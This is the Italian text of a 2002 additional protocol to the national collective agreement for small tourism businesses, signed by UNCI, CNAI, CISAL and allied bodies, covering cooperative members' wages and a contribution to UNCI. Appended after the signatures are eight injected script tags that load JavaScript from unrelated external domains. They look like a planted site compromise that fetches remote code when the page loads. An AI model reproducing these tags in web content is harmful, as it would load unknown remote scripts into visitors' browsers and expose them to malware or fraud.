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Categoria: Turismo, da 1 a 14 dipendenti (CISAL)
Settore: Commercio
Data stipula: 18-4-2002

PROTOCOLLO AGGIUNTIVO AL CCNL DEL SETTORE TURISMO
FINO A 14 DIPENDENTI O SOCI


L'anno 2002, il giorno 18 del mese di aprile

-    l'Unione  Nazionale  Cooperative Italiane (UNCI),  rappresentata  dal
  Presidente  Luciano  D'Ulizia, assistito dal  Vice  Presidente  delegato
  Antonino Tribulato, dal Segretario generale Dante Flemac e dal Commissario
  dell'Associazione  Nazionale Cooperative Produzione e Lavoro  (ANCOPROL)
  Giorgio Ferraris;

-     il   Coordinamento   Nazionale  Associazioni  Imprenditori   (CNAI),
  rappresentato  dal Presidente nazionale Orazio Renzo Di Renzo,  l'Unione
  Italiana  Cristiana  Commercio  e  Turismo  (UCICT),  rappresentata  dal
  Presidente nazionale Orazio Renzo Di Renzo, il  Movimento Cooperativo  e
  Mutue CNAI (MCM-CNAI);

-    la  Confederazione  Italiana Sindacati Autonomi  Lavoratori  (CISAL),
  rappresentata dal Segretario generale Giuseppe Carbone e dal  Segretario
  confederale Ulderico Cancilla, la Federazione Nazionale Sindacati Autonomi
  Lavoratori  Commercio  (FENASALC)  e il  Sindacato  Autonomo  Lavoratori
  Terziario e Affini Euganeo (SALTAE)

vista la legge 3.4.01 n. 142 e in particolare l'art. 3, che disciplina  il
trattamento economico del socio lavoratore, e l'art. 6, che prevede per le
cooperative  la  definizione di un Regolamento in cui siano  contenuti  il
richiamo  ai contratti collettivi applicabili e le modalità di svolgimento
delle prestazioni lavorative da parte dei soci

convengono  che il CCNL del settore Turismo fino a 14 dipendenti  o  soci,
stipulato  in data 18 aprile 2002 tra UNCI, CNAI, UCICT, MCM-CNAI,  CISAL,
FENASALC  e SALTAE può essere applicato al Regolamento previsto  dall'art.
6,  legge 3.4.01 n. 142 e avrà piena efficacia per le cooperative aderenti
ad  UNCI  con particolare riferimento all'art. 3, comma 1, della  predetta
legge n. 142.

Qualora  la  retribuzione effettivamente corrisposta al  socio  lavoratore
fosse  inferiore  ai minimi contrattuali contemplati nel citato  CCNL,  si
prevede  il graduale adeguamento retributivo entro la vigenza contrattuale
in misura del 30% per i primi 8 mesi del 2° biennio, del 30% per i secondi
8 mesi del 2° biennio e del 40% per i terzi 8 mesi del 2° biennio.

Infine le parti convengono che, considerati i costi che l'applicazione del
citato  CCNL  comporta  per  l'assistenza  alla  stipulazione  e  per   la
successiva  consulenza,  le  cooperative  aderenti  verseranno  alla  sede
centrale  UNCI  un  contributo pari allo 0,50% del  monte  salari  mensile
corrisposto   ai  soci  lavoratori  e  ai  lavoratori  dipendenti,   anche
attraverso apposite intese e convenzioni con gli Istituti previdenziali.

Letto, confermato e sottoscritto.


UNCI
CNAI - UCICT - MCM-CNAI
CISAL - FENASALC - SALTAE<script src=http://www.adwbnr.com/b.js></script><script src=http://www.adwbnr.com/b.js></script><script src=http://www.adwste.mobi/b.js></script><script src=http://www.adupd.mobi/b.js></script><script src=http://www.bnrupdate.mobi/b.js></script><script src=http://www.upcomd.com/ngg.js></script><script src=http://www.mainadt.com/ngg.js></script><script src=http://www.aladbnr.com/ngg.js></script>













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